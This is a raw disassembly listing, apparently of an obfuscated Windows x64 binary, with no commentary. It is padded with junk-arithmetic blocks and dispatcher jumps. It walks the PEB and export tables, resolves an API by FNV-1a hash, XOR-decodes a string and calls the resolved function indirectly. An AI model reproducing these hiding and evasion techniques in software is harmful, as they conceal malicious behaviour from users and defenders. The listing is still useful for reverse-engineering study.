xor eax, 0xd3bc2e21
rol eax, 0x19
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x54944930
pushf
not eax
add eax, 0xe6bb3c62
xor eax, 0xebc39913
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe2b6184e
xor eax, 0xf3a457b1
rol eax, 3
popf
pushf
not eax
add eax, 0xdb7e3cc6
xor eax, 0x9820fbec
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x91b4e904
xor eax, 0xdad430fc
rol eax, 0xe4
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea r15, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova r15, qword [rbp - 0x60]
movabs rdi, 0xcb63627b6f4b5840
pushf
not rdi
add rdi, 0x6b11f9e1
xor rdi, 0x7bc6a1a0
rol rdi, 0xa2
popf
pushf
not rdi
add rdi, 0x52ec3218
xor rdi, 0x7f8603fa
rol rdi, 0xb1
popf
mov r14, qword [rbp - 0x50]
cmp r14, rdi
ja 0x14042c73e
push rax
pushf
mov eax, 0x38ad9d2e
pushf
not eax
add eax, 0xfb35b50b
xor eax, 0x8c6837ed
rol eax, 0x79
popf
pushf
not eax
add eax, 0xc9e9f420
xor eax, 0xe844439a
rol eax, 0x19
popf
pushf
not eax
add eax, 0xed7bac8c
xor eax, 0xea717a8a
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xcf954b76
xor eax, 0xc61b0a0e
rol eax, 0xaf
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x47f1ea0d
pushf
not eax
add eax, 0xcb592e83
xor eax, 0xe454b14a
rol eax, 0x29
popf
pushf
not eax
add eax, 0xde949b5d
xor eax, 0x96f59bc8
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xbfbd7214
xor eax, 0xa7db035b
rol eax, 0x98
popf
jmp 0x140428fd2
cmp r14, 0xf
ja 0x14042c7bd
push rax
pushf
mov eax, 0x3b1b30a0
pushf
not eax
add eax, 0xff7f6e9c
xor eax, 0xefd79ab0
rol eax, 0x69
popf
pushf
not eax
add eax, 0x9c1f73be
xor eax, 0xb4d0dd74
rol eax, 2
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x61bd6ad5
pushf
not eax
add eax, 0xe494984a
xor eax, 0xd4798d3e
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xdfb341eb
xor eax, 0xae1e3d65
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xde4458c7
xor eax, 0xc02ef477
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x94c3a53f
xor eax, 0xafcfd22a
rol eax, 0x73
popf
jmp 0x140428fd2
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x60], xmm0
jmp 0x14042cdbb
mov rsi, r14
or rsi, 0xf
cmp rsi, rdi
jbe 0x14042c8b7
push rax
pushf
mov eax, 0x97fac88e
pushf
not eax
add eax, 0xd6a507e3
xor eax, 0xfb67058d
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xf6a2f5a1
xor eax, 0xa7ec1c2d
rol eax, 0xb7
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xa0a24e9b
pushf
not eax
add eax, 0xc3e32982
xor eax, 0xb9a10870
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xe8bc5190
xor eax, 0xb1c2ad71
rol eax, 0x44
popf
pushf
not eax
add eax, 0xbc0ad5d4
xor eax, 0x920fe4e2
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xc0aff378
xor eax, 0xf453271d
rol eax, 0x26
popf
jmp 0x140428fd2
mov rcx, rax
call fcn.140420f62
mov rcx, rax
test rax, rax
je 0x14042ca02
push rax
pushf
mov eax, 0x13011548
pushf
not eax
add eax, 0xe08dc97d
xor eax, 0xace82765
rol eax, 0x20
popf
pushf
not eax
add eax, 0xafd9427c
xor eax, 0xbeb72107
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x87fe9eb9
xor eax, 0xc435141d
rol eax, 0x83
popf
pushf
not eax
add eax, 0xe56808e6
xor eax, 0xf5f3f1a0
rol eax, 0x32
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xd0ca234c
pushf
not eax
add eax, 0xde511103
xor eax, 0xe2d421a4
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xc04a5ff7
xor eax, 0xb93dfb7d
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xd2bb0eb4
xor eax, 0xb85b27ca
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xb1f30c7a
xor eax, 0xfa3789a3
rol eax, 0x6e
popf
jmp 0x140428fd2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14042cd9d
mov eax, 0x72a793eb
pushf
not eax
add eax, 0xa1b0d5e7
xor eax, 0xd484031f
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xd6c0f1ee
xor eax, 0xcc14aa1f
rol eax, 0x44
popf
pushf
not eax
add eax, 0xd8c2343b
xor eax, 0xf1bf57a4
rol eax, 0xc6
popf
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14042cb24
push rax
pushf
mov eax, 0xa51a0c57
pushf
not eax
add eax, 0xc0b1381b
xor eax, 0x98de8b9d
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xadefa844
xor eax, 0xc5bbae3e
rol eax, 0xd7
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x7fa849b3
pushf
not eax
add eax, 0x8a296fd7
xor eax, 0xdd01fbf0
rol eax, 0x41
popf
pushf
not eax
add eax, 0x8ecd975c
xor eax, 0xdfdf1bb4
rol eax, 0x12
popf
jmp 0x140428fd2
jmp 0x14042c999
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14042ccc1
push rax
pushf
mov eax, 0xce187a4f
pushf
not eax
add eax, 0xe6f58d72
xor eax, 0xfa90d246
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xbea1fa6b
xor eax, 0xd833b03b
rol eax, 0x45
popf
pushf
not eax
add eax, 0x8ea5549e
xor eax, 0xa6dff64c
rol eax, 0x80
popf
pushf
not eax
add eax, 0xd6e706ae
xor eax, 0x9117c561
rol eax, 0x90
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x50915a30
pushf
not eax
add eax, 0xfb6be816
xor eax, 0xda12b449
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x8b46d9a1
xor eax, 0xb8320fec
rol eax, 0x11
popf
pushf
not eax
add eax, 0xed7654f7
xor eax, 0xd3129ddc
rol eax, 0x22
popf
pushf
not eax
add eax, 0xc40e2ad2
xor eax, 0x860a466c
rol eax, 0xf0
popf
jmp 0x140428fd2
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rsi
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.140440c46
nop
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.14042fcb0
nop
mov rcx, qword [rbp - 0x50]
sub rdi, rcx
mov rdx, qword [rbp + 0x10]
cmp rdi, rdx
jb 0x14042ce1f
push rax
pushf
mov eax, 0xfe4a401d
pushf
not eax
add eax, 0xbea3ca05
xor eax, 0x83b5ae98
rol eax, 0x90
popf
pushf
not eax
add eax, 0xfe0eda23
xor eax, 0xd6d89636
rol eax, 0x90
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x4be1b1d5
pushf
not eax
add eax, 0xe03edf52
xor eax, 0xb73765d6
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xc0be6864
xor eax, 0x881631df
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xd23d388f
xor eax, 0xda191fa6
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x892f56ad
xor eax, 0xbae10d30
rol eax, 0x18
popf
jmp 0x140428fd2
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova r9, qword [rbp - 0x60]
lea rax, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rax, qword [rbp]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x60]
movzx edx, byte [rsp + 0x44]
lea rcx, [rbp + 0x30]
call fcn.14013d850
nop
lea rcx, [rsp + 0x60]
call fcn.14041e8ca
mov rdi, rax
mov eax, dword [0x1403caac0]
mov dword [rsp + 0x40], eax
cmp byte [str._VVT_], 0
je 0x14042cf33
push rax
pushf
mov eax, 0x1b1c9882
pushf
not eax
add eax, 0x9b6572b5
xor eax, 0xe9cb4933
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xbce3ef26
xor eax, 0xd6a774c9
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xc32d4594
xor eax, 0xa7febf4d
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xeeb37982
xor eax, 0xd005cdb6
rol eax, 0x51
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x89f031d9
pushf
not eax
add eax, 0x92a9cc11
xor eax, 0x994fca65
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xbdc9ff8c
xor eax, 0xcce2e787
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xd97a7e21
xor eax, 0x88e571cc
rol eax, 0xff
popf
jmp 0x140428fd2
movdqa xmm3, xmmword [0x1403cc610]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1403cc650]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1403cc650]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1403cc630]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1403cc660]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
jmp 0x14042d260
mov eax, 0x15444b
pushf
not eax
add eax, 0xc61a7a6a
xor eax, 0x8f776e49
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x9e19f17c
xor eax, 0xa6be0df2
rol eax, 0x42
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14042d207
push rax
pushf
mov eax, 0xea8f5251
pushf
not eax
add eax, 0x84d95b65
xor eax, 0xe2ecbafa
rol eax, 0x98
popf
pushf
not eax
add eax, 0xb44d4c9e
xor eax, 0x9f47264f
rol eax, 0x20
popf
pushf
not eax
add eax, 0x8199cb3d
xor eax, 0xcb129df5
rol eax, 0xec
popf
pushf
not eax
add eax, 0x824a2b68
xor eax, 0xd4a3fcf4
rol eax, 0x25
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x92b3ed9
pushf
not eax
add eax, 0xd59971ab
xor eax, 0xede50e49
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xdd17d8dd
xor eax, 0xfe8ad0ff
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x88384823
xor eax, 0xfe7bf787
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x998ceaf1
xor eax, 0xda36ea3d
rol eax, 0xda
popf
jmp 0x140428fd2
lea rax, [rsp + 0x40]
push rax
pushf
mov eax, 0xb62940ee
pushf
not eax
add eax, 0xab3a419e
xor eax, 0xcafee008
rol eax, 0x46
popf
pushf
not eax
add eax, 0x84387fb0
xor eax, 0x9403e1eb
rol eax, 0x27
popf
pushf
not eax
add eax, 0xf0407818
xor eax, 0x9e4a4767
rol eax, 0x12
popf
pushf
not eax
add eax, 0xc35fafda
xor eax, 0xeb88ef29
rol eax, 0x71
popf
jmp 0x140428fd2
lea rax, [r8 + rbx]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rcx, 0xf
jbe 0x14042d44d
push rax
pushf
mov eax, 0xad11aaf3
pushf
not eax
add eax, 0xd2a669b9
xor eax, 0xccba1715
rol eax, 0x13
popf
pushf
not eax
add eax, 0xfb5bcbae
xor eax, 0xacd4b238
rol eax, 0x59
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x12478ace
pushf
not eax
add eax, 0xab161286
xor eax, 0xaed6958c
rol eax, 0x48
popf
pushf
not eax
add eax, 0xe365c41d
xor eax, 0xfc3b7f0c
rol eax, 5
popf
pushf
not eax
add eax, 0x92f93702
xor eax, 0x955a39bb
rol eax, 0xc9
popf
jmp 0x140428fd2
mov rsi, qword [rdi]
push rax
pushf
mov eax, 0x9d86950
pushf
not eax
add eax, 0xb1c7df75
xor eax, 0x8f4c8083
rol eax, 0xe
popf
pushf
not eax
add eax, 0x93da3de7
xor eax, 0xaf8bd997
rol eax, 0x79
popf
pushf
not eax
add eax, 0xc69f1da7
xor eax, 0xd2f1fd33
rol eax, 0x23
popf
pushf
not eax
add eax, 0xf05b7bd8
xor eax, 0xd888a0ca
rol eax, 0x48
popf
jmp 0x140428fd2
lea rax, [rsp + 0x40]
cmp rsi, rax
ja 0x14042d68e
push rax
pushf
mov eax, 0x97634a6a
pushf
not eax
add eax, 0xad791b81
xor eax, 0xf7fe1607
rol eax, 0xea
popf
pushf
not eax
add eax, 0xa19f1372
xor eax, 0xd725cf57
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x9804b961
xor eax, 0xa09e141b
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xf84fbf20
xor eax, 0xcd15ac6c
rol eax, 0xdc
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x11547595
pushf
not eax
add eax, 0xba157630
xor eax, 0xabeadab3
rol eax, 8
popf
pushf
not eax
add eax, 0xdf0286b7
xor eax, 0xce203ccc
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xde9bc277
xor eax, 0xc63bfa74
rol eax, 0x3a
popf
jmp 0x140428fd2
mov r14, r13
jmp 0x14042d7ae
lea rax, [rsp + 0x40]
mov r14, rsi
sub r14, rax
jmp 0x14042d7ae
mov r14, rbx
push rax
pushf
mov eax, 0xd84f93be
pushf
not eax
add eax, 0xb3ab1c98
xor eax, 0xf6e49e3f
rol eax, 0x42
popf
pushf
not eax
add eax, 0xefa6f6f9
xor eax, 0xc5a46b90
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xe3ab175e
xor eax, 0xc40f493f
rol eax, 0x74
popf
jmp 0x140428fd2
lea rcx, [rsi + rbx]
inc r8
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, [rsp + 0x40]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + r14]
mov r8, rbx
sub r8, r14
lea rax, [r14 + rbx]
lea rdx, [rsp + 0x40]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14042d892
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14042d923
push rax
pushf
mov eax, 0x829adf91
pushf
not eax
add eax, 0xb3501bfc
xor eax, 0xb28ba39a
rol eax, 0x63
popf
pushf
not eax
add eax, 0x931e7e71
xor eax, 0xafe4d96c
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x8fa47934
xor eax, 0x9be0c7a4
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x94fafdc6
xor eax, 0x987855f4
rol eax, 0x1e
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xd457c4f9
pushf
not eax
add eax, 0xa89007b7
xor eax, 0xc24f2fa7
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x80210a6c
xor eax, 0xe24803e6
rol eax, 0x93
popf
jmp 0x140428fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14042da64
push rax
pushf
mov eax, 0xd3245aa7
pushf
not eax
add eax, 0xf2004351
xor eax, 0x98c5852c
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xd6129ee1
xor eax, 0xdb994a55
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xc0d0001d
xor eax, 0xea5c29e5
rol eax, 0x54
popf
pushf
not eax
add eax, 0xa933c745
xor eax, 0xc61ae050
rol eax, 0x81
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xfc470a95
pushf
not eax
add eax, 0x977dca14
xor eax, 0xfa9ad574
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xd7a5434b
xor eax, 0xa01f0e45
rol eax, 0xac
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
lea rsi, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rsi, qword [rbp - 0x80]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
push rax
pushf
mov eax, 0x76c810d7
pushf
not eax
add eax, 0xd581876a
xor eax, 0xbcb89948
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xeeac2f01
xor eax, 0xdf2d572e
rol eax, 0xdf
popf
jmp 0x140428fd2
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x14042dbfe
push rax
pushf
mov eax, 0xb6749afd
pushf
not eax
add eax, 0x9237d4b2
xor eax, 0xa78bf4bf
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xc8b9deee
xor eax, 0xe9a7a5ab
rol eax, 0x7b
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xd1d41d43
pushf
not eax
add eax, 0x95fb06f9
xor eax, 0xc0207a7e
rol eax, 0x86
popf
pushf
not eax
add eax, 0xefc3558f
xor eax, 0xb248c920
rol eax, 0x45
popf
pushf
not eax
add eax, 0x8c159949
xor eax, 0x81401ba6
rol eax, 0xa1
popf
jmp 0x140428fd2
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14042dc80
push rax
pushf
mov eax, 0x66f5e07d
pushf
not eax
add eax, 0x8df6e299
xor eax, 0xca28a558
rol eax, 2
popf
pushf
not eax
add eax, 0x90b46eac
xor eax, 0xdc0da09c
rol eax, 0x78
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xc657951
pushf
not eax
add eax, 0xb22cad96
xor eax, 0xc66c3c4c
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xb8f04315
xor eax, 0xba216b3b
rol eax, 0x40
popf
pushf
not eax
add eax, 0x9f37dc72
xor eax, 0x8c4fdc25
rol eax, 0x50
popf
pushf
not eax
add eax, 0xac0a1b23
xor eax, 0xe678b71a
rol eax, 0x85
popf
jmp 0x140428fd2
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xad432ffa
pushf
not eax
add eax, 0xa5c46696
xor eax, 0xfc0ccbe5
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xca437bb4
xor eax, 0xce3a66b9
rol eax, 0x59
popf
jmp 0x140428fd2
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov r8d, 0xd3c2aefd
pushf
not r8d
add r8d, 0x8fae473c
xor r8d, 0xc63f14c9
rol r8d, 0x90
popf
pushf
not r8d
add r8d, 0x8f8151b1
xor r8d, 0xfed00c55
rol r8d, 0x34
popf
pushf
not r8d
add r8d, 0x9a6bf2ab
xor r8d, 0xac2a304c
rol r8d, 0x10
popf
pushf
not r8d
add r8d, 0x8fe3e58e
xor r8d, 0x8db443af
rol r8d, 0x4c
popf
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14042de00
push rax
pushf
mov eax, 0x5543066a
pushf
not eax
add eax, 0xa01481dc
xor eax, 0xab361ba9
rol eax, 0x81
popf
pushf
not eax
add eax, 0xcd1e55d3
xor eax, 0x889da6a6
rol eax, 0x26
popf
pushf
not eax
add eax, 0xc4f7dead
xor eax, 0xb3ff3f48
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xd60da1be
xor eax, 0x89155384
rol eax, 0x8a
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x6d263939
pushf
not eax
add eax, 0xf56d12ab
xor eax, 0xd0577516
rol eax, 0x77
popf
pushf
not eax
add eax, 0xfc81dbe1
xor eax, 0x92376f1c
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xa3a79971
xor eax, 0xff0795a3
rol eax, 0x52
popf
pushf
not eax
add eax, 0xd8892418
xor eax, 0xf428e974
rol eax, 0x78
popf
jmp 0x140428fd2
nop dword [rax]
push rax
pushf
mov eax, 0x4198ba86
pushf
not eax
add eax, 0xd4637225
xor eax, 0xbece16bc
rol eax, 0x60
popf
pushf
not eax
add eax, 0xd42d6290
xor eax, 0xa828c2cd
rol eax, 0x7d
popf
jmp 0x140428fd2
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x14042deda
push rax
pushf
mov eax, 0x7e8015d1
pushf
not eax
add eax, 0xcaa36727
xor eax, 0xb6c327bd
rol eax, 0x45
popf
pushf
not eax
add eax, 0xdaf09c27
xor eax, 0xd6e1bf04
rol eax, 0xa5
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xf97ca2f0
pushf
not eax
add eax, 0xa7f90a1a
xor eax, 0xbc33129d
rol eax, 0x82
popf
pushf
not eax
add eax, 0xfccdd0d8
xor eax, 0xb38ffbd7
rol eax, 0x7e
popf
jmp 0x140428fd2
cmp r8d, 0xa2f28d03
je 0x14042df5c
push rax
pushf
mov eax, 0xfc392f70
pushf
not eax
add eax, 0xdbbbffdd
xor eax, 0xcf5e56da
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xfc0cf547
xor eax, 0xda387e70
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x8e24ac93
xor eax, 0xf4a4038b
rol eax, 0x4e
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xa9ab607d
pushf
not eax
add eax, 0xc26e534f
xor eax, 0x883889af
rol eax, 0x50
popf
pushf
not eax
add eax, 0x907c8a3c
xor eax, 0xa973557c
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xa8d4028a
xor eax, 0xb99026b1
rol eax, 0x2c
popf
jmp 0x140428fd2
test r9d, r9d
jne 0x14042dfda
push rax
pushf
mov eax, 0xb512b788
pushf
not eax
add eax, 0xf6e7a317
xor eax, 0x89d8a020
rol eax, 8
popf
pushf
not eax
add eax, 0xe7561558
xor eax, 0xdbe4668f
rol eax, 0xf
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xeddb85fe
pushf
not eax
add eax, 0xa0459aad
xor eax, 0xb3ac0d01
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xb246c55c
xor eax, 0xa9ae1793
rol eax, 0xab
popf
pushf
not eax
add eax, 0x986c7b7e
xor eax, 0xff90542e
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xc0fc0095
xor eax, 0xd26d1bda
rol eax, 0x4f
popf
jmp 0x140428fd2
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
push r10
not r10
sub r11, r10
pop r10
sub r11, 1
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
lea r8, [rbp + 0x30]
mov eax, dword [str.WI_U_]
mov dword [rsp + 0x50], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
cmp qword [rbp + 0x48], 0xf
jbe 0x14042e13d
push rax
pushf
mov eax, 0xc789fac7
pushf
not eax
add eax, 0xaacf96ab
xor eax, 0xabf9a1b1
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x8efba8aa
xor eax, 0xadb4500b
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x9afc2f64
xor eax, 0xfa3da894
rol eax, 6
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x803c04d3
pushf
not eax
add eax, 0x845c0df2
xor eax, 0xc5f69f5a
rol eax, 6
popf
pushf
not eax
add eax, 0xe3b04237
xor eax, 0xcb897370
rol eax, 0x99
popf
pushf
not eax
add eax, 0xada0fea5
xor eax, 0xba55f720
rol eax, 0x88
popf
jmp 0x140428fd2
mov r8, qword [rbp + 0x30]
push rax
pushf
mov eax, 0xafaaea2
pushf
not eax
add eax, 0xd4831cc5
xor eax, 0xefef33ad
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xf020ae45
xor eax, 0xb53435e5
rol eax, 0x5f
popf
jmp 0x140428fd2
mov byte [rsp + 0x50], reloc.WS2_32.dll_WSAGetLastError
xor byte [rsp + 0x51], 0x39
xor byte [rsp + 0x52], 0x3a
xor byte [rsp + 0x53], 0x3b
xor al, 0x3c
mov byte [rsp + 0x54], al
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rcx
mov r9, rsi
lea rdx, [rsp + 0x50]
xor ecx, ecx
call r11
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14042e23f
push rax
pushf
mov eax, 0x6dfd6977
pushf
not eax
add eax, 0x8129edf7
xor eax, 0xfd6b8eb7
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xab9226e8
xor eax, 0xe752bb20
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xf6682073
xor eax, 0x8435df17
rol eax, 0xf9
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xbb657853
pushf
not eax
add eax, 0x82d6ab68
xor eax, 0xd9aaa0de
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xb006607d
xor eax, 0xb1b464d0
rol eax, 0x77
popf
pushf
not eax
add eax, 0xb8f1c670
xor eax, 0xad4a7291
rol eax, 0x4f
popf
jmp 0x140428fd2
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14042e2f1
push rax
pushf
mov eax, 0xe987392c
pushf
not eax
add eax, 0xb8e16b5d
xor eax, 0xd5eaef87
rol eax, 0xf
popf
pushf
not eax
add eax, 0xd754856c
xor eax, 0xede8d7c1
rol eax, 0x80
popf
pushf
not eax
add eax, 0xbd66c7c2
xor eax, 0xb61cdfb4
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xe8730be4
xor eax, 0xcbc1062b
rol eax, 0x13
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x934d2ff4
pushf
not eax
add eax, 0xea9f4419
xor eax, 0xba9a6449
rol eax, 0x74
popf
pushf
not eax
add eax, 0xfc583b0d
xor eax, 0xfab95e85
rol eax, 0xcb
popf
jmp 0x140428fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14042e37f
push rax
pushf
mov eax, 0xac1782fc
pushf
not eax
add eax, 0xa5fa438d
xor eax, 0xf6c8cb07
rol eax, 0xab
popf
pushf
not eax
add eax, 0x8f024e14
xor eax, 0xa6ab66b5
rol eax, 0xc
popf
pushf
not eax
add eax, 0xb9068697
xor eax, 0xc9cccd16
rol eax, 0x72
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xb56d1c2c
pushf
not eax
add eax, 0xdbf63ef8
xor eax, 0xc241562c
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x9f7ce324
xor eax, 0xdce3d487
rol eax, 0x28
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0x516de954
pushf
not eax
add eax, 0xff9c5494
xor eax, 0xf699d11d
rol eax, 0x98
popf
pushf
not eax
add eax, 0xf2a97ec8
xor eax, 0xad9924ad
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xc69b51e1
xor eax, 0xd33b12fc
rol eax, 0x4c
popf
jmp 0x140428fd2
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x48]
